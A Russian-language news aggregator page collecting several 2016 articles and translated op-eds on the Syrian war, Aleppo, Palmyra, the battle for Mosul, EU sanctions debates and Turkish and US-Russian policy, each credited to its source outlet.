Рубрика: Сирией

  • Россия и Турция предлагают провести переговоры по Сирии в Казахстане

    Россия и Турция предлагают провести переговоры по Сирии в Казахстане

    Об этом сообщил президент России Владимир Путин, который находится в Японии.

    Россия и Турция договорились предложить конфликтующим сторонам в Сирии провести переговоры на новой площадке — в Казахстане. Об этом сообщил президент России Владимир Путин, который находится в Японии, передает ТАСС.

    «Позавчера в телефонном разговоре мы договорились с президентом Эрдоганом, что будем предлагать конфликтующим сторонам — мы со своей стороны правительству Сирии, президент Турции представителям вооруженной оппозиции — продолжить процесс мирных переговоров на новой площадке, которой могла бы стать столица Казахстана город Астана», — сказал Путин, отвечая на вопрос на пресс-конференции в Токио.

    Он добавил, что если стороны конфликта согласятся, то «мы обратимся к президенту Казахстана Нурсултану Назарбаеву с просьбой поддержать этот процесс».

    Он подчеркнул, что «если это произойдет, то эта площадка не будет конкурировать с женевской, но будет дополнять женевские переговоры». «Во всяком случае где бы не встречались конфликтующие стороны, на мой взгляд, было бы правильно это делать и стремиться к политическом урегулированию», — добавил Путин.

    Президент РФ также рассказал, что ранее Россия и Турция договорились, что Анкара поможет вывести боевиков из сирийского города Алеппо, чтобы дать возможность жителям ввернуться к мирной жизни.

    «Судя по тому, что я вижу, (в Сирии) происходит именно то, о чем мы договаривались, в том числе с президентом Турции еще во время его посещения Петербурга. Мы договорились о том, что Турция окажет всяческое содействие в выводе тех боевиков, которые будут готовы сложить в Алеппо оружие, прежде всего для сохранения жизни мирных граждан», — сказал президент РФ.

    Он также выразил надежду на то, что сирийская армия, освободившая практически полностью город Алеппо, закрепится там, а мирные жители вернутся в свои дома.

    «Я очень рассчитываю на то, что сирийской армии после безусловно успешных боевых действий в Алеппо удастся закрепиться, а мирные граждане смогут перейти к нормальной жизни. Уже несколько тысяч человек вернулись в свои дома, даже полуразрушенные», — сказал Путин.

    Касаясь в целом ситуации в Сирии, российский президент заявил, что после освобождения Алеппо «следующий этап (по нормализации ситуации в стране) — это достижение договоренности о полном прекращении огня на территории всей Сирии». «Мы ведем очень активные переговоры с представителями вооруженной оппозиции тоже при посредничестве Турции», — отметил Путин.

    В ходе пресс-конференции президент затронул и болезненную тему захвата боевиками еще одного сирийского города — Пальмира. Комментируя этот факт, президент возложил ответственность за произошедшее на все стороны, участвующие в сирийском конфликте, включая возглавляемую США международную коалицию и Россию.

    «Все, что происходит в Пальмире, это результат несогласованных действий между так называемой международной коалицией, сирийскими властями, Россией», — заявил он. «Я много раз говорил о том, что для того, чтобы быть эффективными в борьбе с террористами, нужно объединять усилия», — добавил Путин.

    В то же время президент заявил, что с военно-политической точки зрения освобождение от террористов сирийского города Алеппо более важно, чем ситуация в Пальмире. «Вопрос Пальмиры, мне кажется, чисто символический. Что касается военно-политического значения, то в этом смысле Алеппо, конечно, гораздо более важная тема», — сказал он.

    Напомним, что визит Путина начался с опоздания российского лидера, из-за чего пришлось перенести его встречу с премьером Абэ. Как позже пояснил пресс-секретарь президента РФ Дмитрий Песков, глава РФ опоздал из-за «сирийских дел».

    Источник — newsru.com
  • Двуличие России в Сирии

    Двуличие России в Сирии

    palmira-1
    © РИА Новости, Максим Блинов

    Путин позволил ИГИЛ захватить Пальмиру и в то же время помогает Асаду взять Алеппо.

    Пока Вашингтон пытается доказать вмешательство России в ход президентских выборов в 2016 году, серьезные люди должны пристально наблюдать за двуличными играми Владимира Путина в Сирии. Зависящие от России сирийские правительственные войска в понедельник были близки к тому, чтобы полностью взять под свой контроль удерживаемые повстанцами районы Алеппо, хотя боевики из «Исламского государства» (террористическая группировка, запрещена в России — прим. пер.) днем ранее вновь отбили у сил Асада древний город Пальмиру.

    Эти два события взаимосвязаны, причем не самым положительным образом. Путин давно уже утверждает, что его войска в Сирии сражаются с джихадистами, и в первую очередь с ИГИЛ. Но в действительности правительство Башара Асада и русские уже давно сосредоточили почти все свое внимание на силах умеренной оппозиции. Это те силы, которым оказывает поддержку Саудовская Аравия, а иногда даже США. Сначала Асад хочет уничтожить именно их, потому что они представляют наибольшую и долговременную опасность для его режима.

    «Исламское государство» представляет меньшую угрозу для Дамаска, потому что его штаб-квартира находится на востоке Сирии в районе Ракки, да и в любом случае, с ним ведут борьбу американские ВВС и курдские боевые отряды. Путин и Асад рады тому, что самую грязную и тяжелую работу делают за них другие, а сами они могут сбрасывать бочковые бомбы на гражданское население Алеппо.

    То, что Асад и русские позволили пасть Пальмире, а сами в это время осаждают Алеппо, изобличает крайний цинизм Москвы. Похоже, что президент Обама не обращает на это внимания. Но по крайней мере, за этим следят некоторые европейцы. «Русские, которые утверждают, что борются против терроризма, на самом деле оставляют пространство для боевиков ИГ, которые сейчас захватывают Пальмиру», — сказал в понедельник министр иностранных дел Франции Жан-Марк Эро (Jean-Marc Ayrault).

    Эро назвал российскую политику в Сирии «постоянной ложью». И это преуменьшение. Дональд Трамп должен понять, с каким диктатором он намеревается заключать сделки.

    http://inosmi.ru/politic/20161213/238385616.html

  • Битва за Мосул может развалить коалицию против ИГИЛ

    Битва за Мосул может развалить коалицию против ИГИЛ

    iraq-map1Если боевики террористической группировки «Исламское государство» (организация, деятельность которой запрещена в РФ) решат бороться до последнего за второй по величине город Ирака, им может удаться настроить членов коалиции друг против друга, тем самым одержав стратегическую победу

    Несмотря на оптимистические заявления иракских властей о том, что удерживаемый террористами ИГИЛ (организация, деятельность которой запрещена в РФ) Мосул будет взят быстрее, чем ожидалось, основная битва за город еще впереди. Таким образом, очень важно понять, что если боевики решат стоять в Мосуле до последнего, вполне может оказаться, что им удастся достигнуть стратегической победы даже в случае их полного тактического поражения в городе, пишет Дэниэл Л. Дэвис в статье для National Interest.

    Автор отмечает, что террористы ИГИЛ (организация, деятельность которой запрещена в РФ), которых часто представляют бездумными бандитами, бессердечными убийцами и простыми преступниками, все-таки представляют значительную тактическую угрозу. Они набрались значительного опыта в ходе своей пятнадцатилетней террористической деятельности в Ираке, Афганистане и Сирии. Многие из их лидеров успешно противостоят традиционным вооруженным силам, а также являются экспертами в ведении партизанской войны и боевых действий в городских условиях.

    Хотя в случае с другими городами удерживаемыми террористами, боевики оставляли их, как только ситуация оказывалась слишком напряженной, в случае же с Мосулом есть основания полагать, что руководство ИГИЛ (организация, деятельность которой запрещена в РФ) планирует бороться в городе до конца.

    Некоторые могут подумать, что это хороший показатель, поскольку тогда в городе будет уничтожена большая часть командования и живой силы боевиков, что ускорит падение организации. Только это утверждение не совсем верное, а ситуация, в которой оказалось ИГИЛ (организация, деятельность которой запрещена в РФ) не столь тяжелая, как кажется.

    Мосул — огромный город, который боевики не могут защищать полностью. По некоторым данным, командование группировки оттянуло передовые дозорные пункты, целью которых было предоставить руководству разведывательную информацию о том, по какому направлению коалиция направит свои основные удары. По мере продвижения сил коалиции террористы будут, скорее всего, наносить по ним изматывающие удары, устанавливать самодельные взрывные устройства на их пути, а также применять снайперов, но не вступать до определенного момента в вооруженное соприкосновение.

    Они будут медленно отступать до тех пор, пока не займут выбранную ими линию обороны, расположенную в районах, которые они на протяжении многих месяцев готовили для решающей битвы. Там организованы продуманные и многосторонние оборонные сооружения.

    По всей вероятности, там устроены пересекающиеся туннели, с помощью которых живая сила может передвигаться от одной позиции к другой, не подставляясь под огонь противника. Снайперы, вероятнее всего, займут позиции в заданиях, закрывая своим огнем основные пути наступления. На дорогах также будут баррикады. На стратегически важных направлениях будут установлены минометы, ракетные установки и, возможно и танки.

    Для повышения своей живучести простые бойцы будут распределены по всему театру боевых действий, концентрируясь исключительно для определенных операций. ИГИЛ (организация, деятельность которой запрещена в РФ), скорее всего, сформировало небольшие мобильные группы, которые будут осуществлять локальные контратаки для истощения сил иракской армии и войск коалиции в ходе их продвижения по городу. Если боевики будут бороться дисциплинированно и наносить отчаянные удары по освобождающим силам, вполне возможно, что они смогут использовать городские условия для нанесения огромного урона наступающим и продержаться в течение значительного периода времени.

    Если боевики ИГИЛ (организация, деятельность которой запрещена в РФ) готовы к такой стратегии, но они вполне могут пожертвовать 50,60 и даже 75% своей живой силы в ходе отчаянного сопротивления. Отступления из города не будет, поскольку, как указывают источники в осажденном городе, боевикам некуда бежать, им также невозможно вернуться в иракское общество. Таким образом, перед коалицией встает не только опасность тяжелых боев в городских условиях, но и риск развала из-за внутренних противоречий.

    Во-первых, затяженая операция станет испытанием характера иракской армии. Всего два года прошло с тех пор, как ИГИЛ (организация, деятельность которой запрещена в РФ) нанесло им поражение и захватило огромные территории страны. Хотя войска Багдада и были перестроены, заново обучены и получили новейшее вооружение, они еще ни разу не участвовали в долгой и сложной военной операции. Неясно, что будет, если силы Багдада начнут нести огромные потери.

    Во-вторых, чем дольше будет продолжаться тактическая битва за Мосул, тем выше вероятность, что ИГИЛ (организация, деятельность которой запрещена в РФ) сможет свести на нет те непрочные связи, которые скрепляют силы коалиции, и добиться победы стратегически. Если боевики будут драться до последнего, их основной целью будет продержаться как можно дольше и нанести как можно больший урон иракской армии. Группировка ИГ (организация, деятельность которой запрещена в РФ) уже доказала свою готовность погибать за свои цели и преодолевать больше трудности. По меньшей мере, до сего момента этого нельзя сказать об армии Ирака. Это боевикам прекрасно известно, поэтому они не надеются нанести поражение наступающим силам, но, возможно, попытаются использовать шанс расколоть коалицию и лишить ее воли к борьбе.

    Боевики надеются добиться этого следующим способом. Так, коалиция составлена из поддерживаемых Ираном шиитских вооруженных формирований, различных суннитских отрядов, небольшого числа христианских и туркоманских подразделений, курдских пешмерга, армии Багдада, а также военнослужащих США, выступающих в качестве советников, предоставляющих артиллерийскую и авиаподдержку. Многие из членов коалиции не доверяют друг другу, тогда как некоторые лидеры шиитских вооруженных формирований открыто говорили о том, что будут убивать американцев, которых встретят на поле боя. Если операция затянется, и потери среди различных формирований будут расти, риск конфликтов внутри коалиции будет возрастать.

    В частности, если боеспособность иракской армии будет снижаться, а шиитским вооруженным формированиям придется брать на себя часть их ответственности, их командование решит прекратить сотрудничество с Багдадом и начать осуществлять собственный план. В худшем случае они могут начать боросться с другими формированиями или нападать на американцев.

    Также существует риск того, что в процессе развития битвы, некоторые несуннитские группы решат захватить части города, которые по плану им захватывать не предписывалось. Если шииты решат войти в суннитские анклавы Мосула без разрешения, местные жители или даже бойцы суннитских формирований могут перевести свой огонь на шиитов. В таком случае коалиция может начать пожирать сама себя.

    Вероятность того, что шиитские, курдские, христианские и суннитские вооруженные группы, — поскольку некоторые из них принимают приказы не из Багдада — будут работать вместе, не так велика. Чем дольше ИГИЛ (организация, деятельность которой запрещена в РФ) будет удерживать город и чем больше будут потери, тем выше шансы того, что религиозные и политические противоречия между частями коалиции выйдут на поверхность.

    В столь взрывоопасной ситуации не учитывается еще риск того, что президент Турции Реджеп Тайип Эрдоган решит выполнить свое обещание и примет участие в операции.

    Несмотря на все сложности, еще есть вероятность того, что операция по освобождению Мосула пройдет гладко, что оборона боевиков будет прорвана быстрее, чем ожидалось. Чем быстрее будет одержана победа, тем выше вероятность сохранения эффективности коалиции, однако не стоит недооценивать способности ИГИЛ (организация, деятельность которой запрещена в РФ).
    26 Октября 2016

    Источник — regnum.ru
  • Что означает операция по взятию Мосула?

    Что означает операция по взятию Мосула?

    us-army-in-irakМария Шелудякова

    Что происходит вокруг Алеппо? Что означает операция по взятию Мосула? Как эти события связаны? Sputnik попытался разъяснить читателям, какие события и чьи интересы стоят за военными сводками с Ближнего Востока.

    В мире пристально следят за затяжными и ожесточенными боями в иракском Мосуле и сирийском Алеппо – ключевых городах в борьбе с террористической группировкой «Исламское государство» (запрещена в России и ряде стран). Как Ближний Восток превратился в поле боя, рассказал Sputnik старший научный сотрудник ИМЭМО РАН Виктор Надеин-Раевский. Алеппо: великое прошлое и трагическое настоящее Взятие сирийского города Алеппо, безусловно, способно склонить чашу весов в пользу Асада. Город с населением около двух миллионов человек считается фактической столицей Сирии. Здесь была сосредоточена большая часть легкой промышленности и производства товаров народного потребления. Алеппо связан дорогами практически со всеми районами страны. Экономическая составляющая сражения за город велика, как и идеологический фактор.

    17 марта 2006 года Это древнейший город, в котором сохранились строения времен крестовых походов. Это жемчужина Ближнего Востока с древней историей и богатым наследием, где всегда жило много христиан: и православных, и католиков. Сирийское правительство к моменту захвата Алеппо террористами «Исламского государства» успело отреставрировать большую часть древних сооружений.

    Боевики Фронта ан-Нусра Сейчас в Алеппо сосредоточены боевики самых разных исламских организаций, а их несколько сотен, подчеркнул эксперт. Из них несколько десятков крупных, таких как «Джабхат ан-Нусра», чье влияние распространяется на большую часть территории Сирии. В этой террористической организации собраны десятки тысяч боевиков со всего исламского мира.  «Освобождать такой большой населенный пункт будет крайне сложно, гражданские объекты часто расположены в тех же кварталах, где ведутся боевые действия. Отсюда все необоснованные обвинения в адрес сирийского правительства и России об ударах по госпиталям, – отметил Надеин-Раевский. – Для западных политиков главное обвинить Москву, а доказательства – дело второстепенное». Завоевание террористами Алеппо в свое время стало большой трагедией для страны. Сейчас этот город действительно стал ключом, не овладев которым, бессмысленно надеяться на победу над террористами «Исламского государства», уточнил эксперт.

    Нанесение авиаударов по террористам в квартале Рамусе на юго-западе Алеппо Во вторник, 18 октября, ВКС России прекратили наносить удары по объектам боевиков в Алеппо. Сирийские правительственные войска к началу «гуманитарной паузы» (намечена на утро четверга, 20 октября) также будут отведены от линии соприкосновения, что должно позволить как жителям, так и боевикам выйти из города по специально созданным коридорам. По словам главы МИД РФ Сергея Лаврова, Россия делает этот жест доброй воли в надежде, что западные партнеры наконец-то смогут отмежевать «умеренную оппозицию» от террористов (как это было предусмотрено еще женевскими договоренностями РФ и США). Мосул: мятежные курды и нефть В иракском Мосуле ситуация несколько иная. Это центр добычи и переработки нефти, здесь под контролем исламистов остаются месторождения Кайяра и Наджма. Кроме того, значительную роль в конфликте играет турецкий фактор – на территории Ирака находятся турецкие войска.

    Солдат ВС Ирака на востоке Мосула, 15 октября 2016 года «Накануне турецкий лидер Эрдоган заявил, что Турцию и Мосул связывает общая историческая судьба. Турки воспринимают иракский город как турецкую территорию. Примечательно, что соседняя с Ираком турецкая провинция носит то же название – Мосул. И турки никогда не скрывали своих претензий на эти территории. Кроме того, в Турции собственных нефтяных месторождений крайне мало. Так что их интерес подогревается нефтью», – объяснил политолог.

    Пентагон: битва за Мосул «решающий момент» в кампании против ИГ Мосул – иракская столица террористов ИГ. Овладение этим населенным пунктом серьезно подорвало бы сопротивление исламистов. Но перед правительственными войсками стоит непростая задача. Боеспособность иракской армии крайне сомнительна. В 2014 году правительственные войска «подарили» Мосул террористам, хотя наступало на город всего 1,5 тысячи боевиков «Исламского государства». Сегодня террористами  заминирована вся территория вокруг города и некоторые некогда жилые районы. Эту территорию удерживают несколько тысяч боевиков, которые сделают все возможное, чтобы сохранить Мосул за собой.  Именно поэтому американцы сосредоточили здесь большое количество своих советников и отрядов спецназа для участия в операции по освобождению города. Министерство обороны США считает операцию решающей в борьбе с этой группировкой, но крупные города штурмовать всегда крайне непросто.

    Бронетранспортер ВС США на базе Каййара в 60 км восточнее Мосула, 18 октября 2016 года Помимо военнослужащих США и правительственных войск Ирака, также подготовленных американцами, в регионе воюют и курдские ополчения (пешмерга). По мнению эксперта, именно курды – «самая целеустремленная боевая сила». Для курдов террористы «Исламского государства» – смертельные враги, и они полны решимости уничтожить в Ираке все «игиловское отребье».

    Курды сразились с ИГ в Хазире, при наступлении на Мосул «Но, – продолжил Надеин-Раевский. – Иракское правительство в высшей степени осторожно относится к желаниям курдов распространить свою власть на эту территорию. Почему? Тоже из-за нефти. Идет грубый дележ нефтяных месторождений, и на этом фоне отношения курдской автономии и иракского шиитского правительства приобрели болезненный характер». Усугубляется ситуация и тем, что в Багдаде у власти находятся шииты, а президент – курд, считает эксперт. Говорить о едином Ираке сейчас не приходится, считает политолог. Каждая сила, которая борется за Мосул, преследует собственные интересы. Багдад опасается курдского контроля над Мосулом. У Турции здесь двойной интерес: не просто борьба с «Исламском государством», а желание подавить на территории Ирака Курдскую рабочую партию (которую в Турции считают террористической организацией), боевые отряды которой активно участвуют в сражениях.

    Read more: http://ru.sputnik.az/world/20161019/407416441/ekspert-u-tursii-v-irake-dvoynoy-interes.html

  • Под прицел санкций ЕС в первую очередь попадет сирийский режим

    Под прицел санкций ЕС в первую очередь попадет сирийский режим

    syria-mapУжесточение воздействия на власти России, Сирии и Ирана в ответ на кризис в Алеппо стали главной темой встречи глав МИД стран ЕС в Люксембурге. Они собрались после похожих переговоров в Лондоне, где были высказаны мнения в пользу введения новых санкций в отношении официального Дамаска и Москвы. Запад уверен, что на российскую сторону нужно оказывать большее давление – для урегулирования гуманитарного кризиса в этом сирийском городе.

    За запретительные меры в отношении России активно высказываются Германия, Великобритания и Швеция, которые считают, что мирное население Алеппо гибнет из-за российских бомбардировок. «Я считаю, что самое мощное оружие, которое мы имеем на данный момент, – это наша способность заставить президента Путина и россиян почувствовать последствия того, что они делают», – заявил глава британского Форин офиса Борис Джонсон. В то же время министр не испытывает иллюзий по поводу эффективности таких мер. «Я бы не стал делать вид, что эти предложения дадут волшебное решение этой ужасной бойни, потому что реальная ответственность лежит на тех, кто это совершает, – на режиме Асада и его кукловодах в виде русских и иранцев», – приводит Guardian его слова.

    По мнению Джонсона, изменить ситуацию военным путем будет чрезвычайно трудно. «Мягко говоря, у большинства европейских стран нет политического аппетита, чтобы принимать такое решение в настоящее время», – заявил руководитель британского дипведомства, комментируя военное вмешательство. Джонсон также называл «очень значительным» событием отказ Путина ехать во Францию 19 октября. «Они начинают чувствовать давление, и важно продолжать его оказывать», – пояснил журналистам Джонсон. Его американский коллега Джон Керри заявил накануне в Лондоне, что «дополнительные санкции рассматриваются», не уточнив, кто может стать их объектом. Пока, по словам Керри, у американской администрации нет конкретного решения по запретительным мерам.

    А вот глава МИД Германии Франк-Вальтер Штайнмайер незадолго до встречи в Люксембурге заявил, что санкции не смогут предотвратить гуманитарный кризис в Алеппо. «Я не вижу, как санкции с возможным долгосрочным эффектом должны способствовать улучшению снабжения гражданских лиц, – отметил министр. – Я не единственный, кто в данном случае довольно скептически относится к ним». Его поддержал и министр иностранных дел Люксембурга Жан Ассельборн, который заявил, что запретительные меры не заставят Россию отказаться от своей логики поведения. «Есть и другие меры», – добавил глава дипведомства.

    Несмотря на то что для введения санкций Запад еще не предпринял конкретных шагов, в российском МИДе уже заявили о возможной ответной реакции. «Без ответа любые враждебные действия в отношении России не остаются», – заявил замглавы МИД РФ Сергей Рябков, добавив, что российская сторона не раз предупреждала Запад об асимметричных ответах на санкции. По словам дипломата, Америка должна воспринимать ситуацию в Сирии реалистично, а «не тешить себя иллюзорными надеждами, что, прикрикнув, замахнувшись или продемонстрировав приемы, которым не должно быть места в межгосударственном общении, они добьются искомой цели».

    Пока что возобновленный диалог Москвы и Вашингтона по Сирии продолжается. Формат лозаннской встречи, которая собрала в минувшую субботу глав дипведомств России, США и семи региональных государств, был продолжен на этой неделе, однако уже на экспертном уровне. Об этом сообщил источник «НГ» в МИД РФ.

    «Непохоже, что у западных властей есть много вариантов введения новых санкций в отношении России или асадовского режима в Сирии, – заявил «НГ» аналитик Ближневосточного центра Карнеги Изид Сайиг. – Последний уже находится под обширными двусторонними санкциями, введенными США, ЕС, а также Советом сотрудничества арабских государств Персидского залива, которые обновляются в рутинном порядке. Однако новые санкции против России поднимают несколько проблем, одна из которых заключается в том, что ЕС и такие страны, как Германия в частности, имеют довольно тесные торговые и экономические связи с Россией. Им приходится балансировать между необходимостью противостоять российской политике в Сирии и соблюдать собственные интересы».

    По мнению эксперта, изменений следует ждать уже от новой президентской администрации США. «Нет никакой перспективы достижения перемирия в Сирии до тех пор, пока не окончатся президентские выборы в США, или до тех пор, пока новая американская администрация не определится со своей внешней политикой, – отметил Сайиг. – Это произойдет весной 2017 года. Но даже тогда мирное соглашение может быть достигнуто только путем прямого диалога между США и Россией. Дипломатические переговоры в Лозанне или где-то еще – это лишь формальное явление, которое может быть использовано для объявления российско-американской сделки».

    Другой эксперт пояснил, что власти некоторых европейских стран все чаще рассматривают проблемы через призму ценностей, а не выгоды. «Ангела Меркель все больше и больше руководствуется политикой ценностей, – отметил в разговоре с «НГ» немецкий политолог Александр Рар. – Если канцлер уговорит других членов ЕС следовать этой линии, то санкции против РФ могут быть приняты. С другой стороны, есть другие страны ЕС, для которых политика интересов стоит выше политики ценностей. Они хотели бы уменьшить даже украинские санкции и вернуться к экономической кооперации».

    По словам аналитика, возможный антироссийский пакет санкций подорвет принципы глобальной экономической системы. «Доверие исчезнет, – заявил Рар. – Каждая страна – Россия, Китай, Индия, Бразилия – будет понимать, что в любой момент Европа и США могут ввести санкции против нее, если она преследует свои геополитические интересы. Это подмена всей системы мировой организации».

    Если говорить о недавней истории, то двусторонние санкции со стороны США в отношении сирийского режима были введены еще в 2004 году – за вмешательство в политическую и военную жизнь Ливана. Затем последовала целая серия персональных и экономических запретительных мер в 2010 и 2011 годах – по официальным формулировкам, за поддержку терроризма, коррупцию, дестабилизацию ситуации в Ираке и Ливане. Подобные шаги были предприняты и Евросоюзом. В 2011 году поводом для возмущения западных стран стало подавление оппозиционных выступлений в арабской стране, которые и послужили причиной гражданского кровопролития.
    18.10.2016

    Источник — ng.ru
  • Россия и Иран побеждают в Сирии

    Россия и Иран побеждают в Сирии

    Турция пойдет на новые уступки — на Кипре, в Эгейском, Средиземном морях

    Несколько дней назад Иран объявил, что Саудовскую Аравию он считает «врагом», а Турцию — «конкурентом». Такая самоуверенность обусловлена тем, что сам Иран является побеждающей стороной в сирийском вопросе, при этом Саудовская Аравия и Турция — проигрывающей. Также проигрывает Катар. Турция, которая всеми силами налегла на Сирию, с одной стороны, неправильно идентифицировала Сирию, Ближний Восток, с другой — силы, выбранные Турцией для представления ее интересов, не были так эффективны, как она рассчитывала. Более того, до начала операции «Щит Евфрата» в западной прессе и общественном мнении за Турцией закрепился ярлык «страны, поддерживающей ИГИЛ» (террористическая организация, запрещена в РФ — прим. ред.). А поскольку операция «Щит Евфрата», которая была правильным с военной точки зрения, но запоздалым ходом, застопорилась из-за неправильного выбора политических союзников и отсутствия политических целей, Турция бросилась в новые поиски. И стала одно за другим выдвигать предложения США, в отношениях с которыми она никак не может позволить себе ни разрыва, ни скепсиса.

    Чтобы извлечь урок из происходящих событий, нужно вспомнить ошибки и прояснить наше сознание.

    1. Ошибочная политика практически импортировала терроризм и нестабильность на территорию Турции. По милости политической силы, которая была мобилизована для свержения Асада, Турция вместе с Ираком стала одной из стран, которые после Сирии подверглись наибольшему числу терактов в регионе и понесли самые большие жертвы. Турция должна понять, что территориальная целостность Сирии, Ирака и Ирана подразумевает территориальную целостность Турции, а их распад — распад Турции.

    2. Сирийская политика Турции обернулась не только политическими, дипломатическими, военными потерями и не просто создала уязвимость системы безопасности. Турция в то же время понесла экономические потери. Помимо развитых экономических отношений с Сирией, приграничной торговли, пострадали торговля и рынок Турции в целом на Ближнем Востоке ввиду того, что Сирия для Турции — крупнейшая дверь в этот регион. Однако ранее торговый баланс между Турцией и Сирией складывался в пользу Турции. От этой торговли получали преимущество наши приграничные города. Тысячи наших водителей грузовиков таким образом зарабатывали свой хлеб. А сейчас потери несут не только наши города на границе. Страна подвергается воздействию терроризма. Террор Рабочей партии Курдистана, террор ИГИЛ унес жизни, покалечил многих наших граждан. Эта картина ужаснула и иностранных инвесторов, и иностранных туристов.

    Каковы политические цели Турции?

    3. В нарушении перемирия, объявленного в Сирии по случаю праздника Курбан-байрам, и атаке на гуманитарный конвой ООН Турция обвинила сирийский режим. Такое политическое позиционирование и заявления в одном духе с США не дают региональным странам, России уверенности в Турции и мешают Турции исправить ошибки.

    4. Из-за ошибочного политического позиционирования Турция проиграла не только в Сирии, на Ближнем Востоке, но и на Кавказе, Балканах, в Средней Азии. Список уступок, на которые пришлось пойти Турции, чтобы залечить раны, нанесенные самолетным кризисом в отношениях с Россией, весьма велик; как и чтобы достичь компромисса с Израилем. Но настойчивое требование по вопросу блокады Газы не было претворено в жизнь. Дела, возбужденные против израильских военных в турецких судах после захвата судна «Мави Мармара», утихли. Жертвам рейда «Мави Мармара» Израиль выплатил компенсацию в размере 20 миллионов долларов. В течение нескольких дней страны назначат послов. Израиль рассчитывает продавать добываемый природный газ через Турцию.

    5. Заявления тюркоязычных республик Средней Азии в поддержку России после самолетного кризиса в российско-турецких отношениях тоже все прекрасно помнят. Трехсторонний механизм, который был достигнут с Боснией и Герцеговиной и Сербией при весьма значительных усилиях Турции, после выступления президента Эрдогана в Косово, когда он сказал: «Косово — это Турция, Турция — это Косово», — и выхода Сербии из него развалился. Вмешательство во внутренние дела Египта обернулось высокой ценой не только в области дипломатии, но и торговли. Египет прервал ролкерные перевозки. Сейчас Турция пытается наладить отношения с Египтом.

    Турция в тупике

    6. В Кипре, в Средиземном, Эгейском море, в отношениях с Арменией, в Северном Ираке, в вопросе о Конвенции Монтре Турция зашла в тупик, и есть множество признаков, показывающих, что она готовится пойти на новые уступки. За последние десять лет Греция оккупировала 152 участка суши, 17 из которых имеют статус островов. Мы эвакуировали Гробницу Сулеймана Шаха, которая была нашей частной собственностью в Сирии. На Кипре ситуация развивается против Турции. Происходящие события ассоциируются с планом Аннана (Annan). США ждут от Турции гибкости в вопросе применения Конвенции Монтре о проливах, как было сказано на последнем состоявшемся саммите НАТО в Варшаве. Запад стал еще больше давить на Турцию для нормализации ее отношений с Арменией.

    7. После попытки государственного переворота террористической организации FETO Фетхуллаха Гюлена (Fethullah Gulen) 15 июля позиции Турции в дипломатии стали еще слабее. А влияние России и Ирана в регионе окрепло. Их пространство для маневра расширилось в связи с сирийскими ходами России и ядерным соглашением, которое Иран заключил с Западом. Снова стало очевидно, что в борьбе против ИГИЛ, в сирийском вопросе США и ЕС нуждаются в России и Иране. Это усилило положение Асада. Турция не смогла увидеть, что в ссоре с Россией, Ираном, Ираком, Сирией, Египтом она не сможет стать региональной силой, центром притяжения, энергетическим узлом. Поэтому она была отстранена, окружена, изолирована. Те, кто когда-то говорил: «Мы лидеры региона. Мы лидеры исламского мира. Мы защитники и представители Ближнего Востока. Мы знаем каждую улочку в регионе. Без нашего ведома и птица не пролетит», — в результате выбрали, по их собственному выражению, «драгоценное одиночество». Те, кто в ходе самолетного кризиса в отношениях с Россией говорил: «Приказ отдал я. Случись это сегодня — снова отдам. Пусть никто не испытывает терпение Турции», — сначала извинились перед Путиным, а затем отправились в Россию. Сейчас они говорят: «Сбили не мы, а FETO».

    8. Важно также помнить о следующем. Когда в 2003 году, в Сулеймании турецким солдатам надели на головы мешки, и один журналист поинтересовался, будет ли направлена США нота, кто ему тогда сказал: «Какая нота? Музыкальная?» Кто сказал, что великим державам не направляют ноты? Кто назвал себя сопредседателем проекта «Большой Ближний Восток»? Кто говорил: «Я молюсь, чтобы американские военнослужащие вернулись в свою страну из Ирака целыми и невредимыми»? По мнению поборников политики «стратегической глубины» и «нуля проблем с соседями», народные массы в Ливии, Сирии, Тунисе, Алжире, Египте, Ираке, Сербии, Черногории, Македонии, Болгарии, Греции, Венгрии считали: «Пусть восстановится Османская империя. Пусть турки возьмут штурвал на себя. Пусть будет создано Османское Содружество наций во главе с Турцией. А мы займем свое место в нем». И что мы имеем в итоге?

    Барыш Достер (Barış Doster)
    Odatv.com, Турция

    Источник — Иносми
  • Сирия — это не конфликт времен холодной войны

    Сирия — это не конфликт времен холодной войны

    Syria_Ethno-religious_composition.Мэри Дежевски (Mary Dejevsky)

    Вашингтон и Москва ввязались в новое противостояние по поводу Сирии, и на этот раз оно вышло за рамки слов. Соединенные Штаты прервали переговоры и отозвали своих представителей из Женевы. Тем временем Россия приостановила выполнение соглашения об утилизации плутония и поставила условия — включая снятие связанных с Украиной санкций — для возобновления его действия.

    Тут же напомнили о себе любители катастрофических сценариев — преимущественно со стороны Запада — и предупредили о том, что американо-российские отношения сегодня такие же плохие, как в самые мрачные времена холодной войны, и отсюда вытекают соответствующие угрозы для всех. Некоторые люди, действительно, могут сказать, что риски сегодня более серьезные, потому что сдерживающие факторы в виде перспективы «взаимного гарантированного уничтожения» уже не действуют, и, кроме того, отсутствуют формальные рамки для контактов.

    Конечно, возвращение к боевым действиям в Алеппо и вокруг него является катастрофой для людей на земле, а также еще одной неудачей для тех, кто пытается сместить президента Башара аль-Асада. Но что касается американо-российских отношений, то имеются основания для того, чтобы сделать выбор в пользу менее апокалиптического взгляда, и то же самое относится к более масштабным последствиям.

    Если самой жесткой мерой со стороны Соединенных Штатов будет прекращение несколько импульсивных переговоров по Сирии, а самым сильным ответом, который может предложить Россия, станет приостановление выполнения одного из соглашений в области вооружений, в нарушении которого Москва, в любом случае, обвиняет Вашингтон, то это само по себе говорит о многом. Подобная ситуация может свидетельствовать о том, как мало тем для переговоров имеют сегодня эти две страны, и в таком случае их прерывание не имеет большого значения. Или — что более вероятно — это свидетельствуют об их озабоченности и желании сохранить другие сферы сотрудничества, в том числе контроль над вооружениями в более широком аспекте или космическую станцию. Соединенные Штаты, действительно, заявили о том, что переговоры о предотвращении двусторонних инцидентов в Сирии будут продолжены, тогда как условия, выдвинутые Москвой для возобновления сделки относительно плутония, говорят о том, что Россия открыта для обсуждения, хотя и топает при этом ногами.

    В определенной степени обе стороны в своих действиях ориентируются на внутреннюю аудиторию. Этот аспект часто игнорируется при анализе дипломатических размолвок, но в данном случае он особенно уместен. Соединенные Штаты находятся во власти весьма необычной президентской кампании, которая закончится уже через месяц. Хотя Барак Обама не является кандидатом в президенты, в его адрес звучат обвинения в слабости внешней политики не только от Дональда Трампа, но и от некоторых людей из лагеря самого президента, и поэтому они, эти обвинения, становятся фактором в президентской гонке. Это важно для Обамы и для его наследия, но еще более важно для перспектив Хиллари Клинтон — администрация демократов не должна выглядеть мягкотелой, особенно перед лицом старого русского врага.

